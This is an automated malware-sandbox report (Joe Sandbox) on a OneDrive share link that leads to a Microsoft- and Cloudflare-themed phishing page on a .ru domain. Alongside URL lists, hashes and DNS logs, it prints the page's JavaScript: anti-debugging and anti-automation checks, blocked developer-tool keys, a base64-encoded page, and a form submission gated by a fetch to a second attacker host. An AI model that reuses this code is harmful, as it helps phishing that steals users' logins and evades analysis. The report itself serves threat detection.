https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f39b5252dda42bf&lang=auto	false		high
https://onedrive.live.com/:w:/g/personal/17CC1E7B64547FA0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?resid=17CC1E7B64547FA0!s05c82e1eb602468f91f67f4b0fb8fcd0&ithint=file%2cdocx&e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_ZT00OmFWdFBSaCZzaGFyaW5ndjI9dHJ1ZSZmcm9tU2hhcmU9dHJ1ZSZhdD05	false		high
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://a.nel.cloudflare.com/report/v4?s=bVZ7YSjOcuuRjJsEZuJN%2FnuakHi%2FVkez%2Ftg4Ms81pSb7KbMm6UQ8kR8rAQb9DwLYJJkXiDFQOshJxLkTrsWnQt5%2BUYEmMLcab5rLkZSeE8n3AxDR%2BslwcCGytKtoFw%3D%3D	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1245931995:1734466478:-p1_It_hKIHpRbOCdrRwqO_4R1-sQktAdqI4NttFp_A/8f39b5252dda42bf/9jHPLuuF7YbnPPKCNVSMpbZ7TtTWBv9at8zp30ysBZQ-1734467810-1.1.1.1-v.gtC.icrAtPWdbxeoDYe9PqedjIgBJld.Hcn3vBxW9NXbVjAJp8sOwEAYIadDaL	false		high
https://common.online.office.com/suite/RemoteUls.ashx?usid=497469c3-ba91-75a0-fd3e-4a5b1cb2babd&officeserverversion=	false		high
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	false		high
https://onedrive.live.com/personal/17cc1e7b64547fa0/_layouts/15/Doc.aspx?sourcedoc=%7B05c82e1e-b602-468f-91f6-7f4b0fb8fcd0%7D&action=default&fromShare=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_ZT00OmFWdFBSaCZzaGFyaW5ndjI9dHJ1ZSZmcm9tU2hhcmU9dHJ1ZSZhdD05&slrid=24886ea1-70e2-7000-1508-6a946bae7d0b&originalPath=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_cnRpbWU9S29nS2F0b2UzVWc&CID=dffede72-4382-4548-a4e8-d3b7d7a6a9d1&_SRM=0:G:33	false		high
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/seouv/0x4AAAAAAA1mDBaSGFMJzcle/auto/fbE/normal/auto/	false		high
https://ivfqcze9jpywgexhiy1ev9zzqhigpjadjigpjmdm1kbev6ftctv6ybfkt5ej.lpliwptf.ru/choqmnpnjiwpotfzqbXzTLDBQdlXDXJCVGMCWEVKGVHWSZRTWLDCYXMIYUFOVGKDVIOKEBBWGGQBNPKDXI	false	Avira URL Cloud: malware	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://challenges.cloudflare.com/turnstile/v0/b/787bc399e22f/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8f39b5252dda42bf/1734467817034/0eeiRkdAFe9qwP7	false		high
https://common.online.office.com/suite/RemoteTelemetry.ashx?usid=497469c3-ba91-75a0-fd3e-4a5b1cb2babd	false		high
https://uoqp.foadinexer.ru/Kkw5r3/	true		unknown
https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8f39b5252dda42bf/1734467817036/17509a9b362f10b4e56bcc976d993553073e194f851796c8d374f7bbcb7b4d9d/Ee-uf5HaRVHavxV	false		high
https://uoqp.foadinexer.ru/favicon.ico	false	Avira URL Cloud: safe	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://my.microsoftpersonalcontent.com	chromecache_232.1.dr, chromecache_301.1.dr	false		high
https://localcdn.centro-dev.com:5555/floodgate.bundle.js.map	chromecache_281.1.dr, chromecache_218.1.dr	false		high
https://augloop.office.com/v2;394866fc-eedb-4f01-8536-3ff84b16be2a;liveprofilecard.access;https://gr	chromecache_245.1.dr	false		high
https://wise-m-backup.public.onecdn.static.microsoft/wise/owl/sharedauthclientmsal.9847058d46a5c575b	chromecache_245.1.dr, chromecache_263.1.dr	false	Avira URL Cloud: safe	unknown
http://knockoutjs.com/	chromecache_376.1.dr, chromecache_213.1.dr	false		high
https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.11.3.min.js	chromecache_245.1.dr, chromecache_263.1.dr	false		high
https://github.com/douglascrockford/JSON-js	chromecache_376.1.dr, chromecache_213.1.dr	false		high
https://login.windows-ppe.net	chromecache_228.1.dr, chromecache_189.1.dr	false		high
http://fb.me/use-check-prop-types	chromecache_323.1.dr, chromecache_268.1.dr, chromecache_344.1.dr, chromecache_310.1.dr	false		high
https://reactjs.org/link/react-polyfills	chromecache_310.1.dr	false		high
https://feross.org	chromecache_281.1.dr, chromecache_231.1.dr, chromecache_193.1.dr, chromecache_218.1.dr	false		high
http://www.opensource.org/licenses/mit-license.php	chromecache_344.1.dr	false		high
https://login.microsoftonline.com	chromecache_228.1.dr, chromecache_189.1.dr	false		high
http://www.opensource.org/licenses/mit-license.php)	chromecache_376.1.dr, chromecache_213.1.dr	false		high
https://feross.org/opensource	chromecache_281.1.dr, chromecache_218.1.dr	false		high
https://www.office.com/launch	chromecache_280.1.dr, chromecache_203.1.dr	false		high
http://projects.nikhilk.net	chromecache_205.1.dr, chromecache_262.1.dr	false		high

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577029
Start date and time:	2024-12-17 21:35:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.win@26/304@73/14
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Input	Output
URL: https://1drv.ms Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://1drv.ms
URL: https://uoqp.foadinexer.ru/Kkw5r3/... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external domain. The combination of these behaviors suggests a malicious intent to prevent analysis and potentially compromise the user's system." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); DjbKaZxEyV = false; (function eknxfQZzyg() { let PKPFSrPOHs = false; const TitcPQdaTv = 100; setInterval(function() { const bpxfKQTFop = performance.now(); debugger; const WKjGKrOjTl = performance.now(); if (WKjGKrOjTl - bpxfKQTFop > TitcPQdaTv && !PKPFSrPOHs) { DjbKaZxEyV = true; PKPFSrPOHs = true; window.location.replace('https://word.office.com'); } }, 100); })();
URL: https://uoqp.foadinexer.ru/Kkw5r3/... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. Overall, this script demonstrates a high likelihood of malicious intent and should be treated with caution." }
if(atob("aHR0cHM6Ly9Vb1FwLmZvYWRpbmV4ZXIucnUvS2t3NXIzLw==") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNEWVJDYU9tSlJ0IGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI0RZUkNhT21KUnQgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI0RZUkNhT21KUnQgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojRFlSQ2FPbUpSdCBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI0RZUkNhT21KUnQuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogOTVweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI0RZUkNhT21KUnQgLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1wb3J0YW50O30NCkBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiNEWVJDYU9tSlJ0IC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojRFlSQ2FPbUpSdCAuZGlzcGxheS00IHtmb250LXNpemU6IDEuMjVyZW0haW1wb3J0YW50O30NCiNEWVJDYU9tSlJ0IC5tdC0yIHttYXJnaW4tdG9wOiAwLjVyZW0haW1wb3J0YW50O30NCiNEWVJDYU9tSlJ0IC5oNCB7Zm9udC1zaXplOiBjYWxjKC45MDByZW0gKyAuM3Z3KTt9DQojRFlSQ2FPbUpSdCAuanVzdGlmeS1jb250ZW50LWNlbnRlcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyIWltcG9ydGFudDt9DQojRFlSQ2FPbUpSdC5tdC01e21hcmdpbi10b3A6M3JlbSFpbXBvcnRhbnQ7fQ0KI0RZUkNhT21KUnQgLm10LTQge21hcmdpbi10b3A6IDFyZW0haW1wb3J0YW50O30NCiNEWVJDYU9tSlJ0ICNlTW5sWGJPdU9wIHtjb2xvcjogIzZjNzU3ZDtmb250LXNpemU6MTRweDttYXJnaW4tdG9wOiAuNXJlbTt9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgIGlmIChuYXZpZ2F0b3Iud2ViZHJpdmVyIHx8IHdpbmRvdy5jYWxsUGhhbnRvbSB8fCB3aW5kb3cuX3BoYW50b20gfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDc0KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzIpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3MykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQuYWx0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkNCiAgICApIHsNCiAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCn0pOw0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgcmV0dXJuIGZhbHNlOw0KfSk7DQpEamJLYVp4RXlWID0gZmFsc2U7DQooZnVuY3Rpb24gZWtueGZRWnp5ZygpIHsNCiAgICBsZXQgUEtQRlNyUE9IcyA9IGZhbHNlOw0KICAgIGNvbnN0IFRpdGNQUWRhVHYgPSAxMDA7DQogICAgc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKSB7DQogICAgICAgIGNvbnN0IGJweGZLUVRGb3AgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAg
URL: https://uoqp.foadinexer.ru/Kkw5r3/... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and the interaction with untrusted domains further increase the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of potential malicious intent." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA1mDBaSGFMJzcle', 'error-callback': sISBoTQPOZ, callback: yRVHODNzSF, }); function sISBoTQPOZ() { turnstile.reset(); } function yRVHODNzSF() { var CNWXjEReol = document.getElementById("vkBlXwlFAX"); CNWXjEReol.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'mMUN'; var mnbkJJEbHJ = "../loZZKOBSFUQfkUnDCk5gLKCyQQSQZvYzp"; fetch('https://iVFQcZE9jpYWGExhiy1Ev9zzqHIGpjadjIgPjMdM1KbEV6FTcTv6yBfKT5EJ.lpliwptf.ru/choqmnpnjiwpotfzqbXzTLDBQdlXDXJCVGMCWEVKGVHWSZRTWLDCYXMIYUFOVGKDVIOKEBBWGGQBNPKDXI', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(mnbkJJEbHJ, { method: "POST", body: new FormData(CNWXjEReol) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(DjbKaZxEyV == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://word.office.com'); } }); } if(text != 0){ window.location.replace('https://word.office.com'); } }) .catch(error => { window.location.replace('https://word.office.com'); }); }
URL: https://onedrive.live.com/personal/17cc1e7b64547fa0/_layouts/15/Doc.aspx?sourcedoc=%7B05c82e1e-b602-468f-91f6-7f4b0fb8fcd0%7D&action=default&fromShare=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pX Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Click here to access your file", "prominent_button_name": "here", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://onedrive.live.com/personal/17cc1e7b64547fa0/_layouts/15/Doc.aspx?sourcedoc=%7B05c82e1e-b602-468f-91f6-7f4b0fb8fcd0%7D&action=default&fromShare=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pX Model: Joe Sandbox AI	{ "brands": [ "OneDrive" ] }
	{ "brands": [ "OneDrive" ] }
URL: https://uoqp.foadinexer.ru/Kkw5r3/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://uoqp.foadinexer.ru/Kkw5r3/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://uoqp.foadinexer.ru/Kkw5r3/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://uoqp.foadinexer.ru/Kkw5r3/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://uoqp.foadinexer.ru/Kkw5r3/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://uoqp.foadinexer.ru/Kkw5r3/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Next", "text_input_field_labels": [ "Email, phone, or Skype" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 17 19:35:55 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9910643952681033
Encrypted:	false
SSDEEP:	48:8fdITsUfHaidAKZdA1FehwiZUklqehNy+3:8OvAqy
MD5:	5077171736C479424E3EE4072C5D0DA4
SHA1:	7D648F32939BDC77C8FA7AE14058EEE758C8264C
SHA-256:	589234C40EAED37A68425FC9451BAF683FA35E6DDEA987CE767A08FBE4A37A5E
SHA-512:	5643447B7BCEE28257D4E5CC4CA77B4581912F95880FAA5241F269E4024BC903006C79E0400B95F2948170742AB87AE7BF623FD0BA3115E3A17B4D0C912442DC
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....}E.P..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Ys.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y{.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y{.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y{............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y\|............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............(......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 21:35:53.308871984 CET	53	59928	1.1.1.1	192.168.2.16
Dec 17, 2024 21:35:53.374712944 CET	53	59471	1.1.1.1	192.168.2.16
Dec 17, 2024 21:35:54.080677032 CET	58688	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:35:54.080899954 CET	60496	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:35:54.280565977 CET	53	60496	1.1.1.1	192.168.2.16
Dec 17, 2024 21:35:54.314481974 CET	53	58688	1.1.1.1	192.168.2.16
Dec 17, 2024 21:35:56.188612938 CET	53	55521	1.1.1.1	192.168.2.16
Dec 17, 2024 21:35:56.363162041 CET	56686	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:35:56.363373995 CET	55629	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:35:57.974586964 CET	64169	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:35:57.974706888 CET	55179	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:35:58.111938000 CET	53	64169	1.1.1.1	192.168.2.16
Dec 17, 2024 21:35:58.112718105 CET	53	55179	1.1.1.1	192.168.2.16
Dec 17, 2024 21:36:05.130141973 CET	56156	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:05.130760908 CET	54309	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:07.447252989 CET	53379	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:07.447344065 CET	64676	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:08.465437889 CET	56754	53	192.168.2.16	1.1.1.1
Dec 17, 2024 21:36:08.691521883 CET	64150	53	192.168.2.16	1.1.1.1
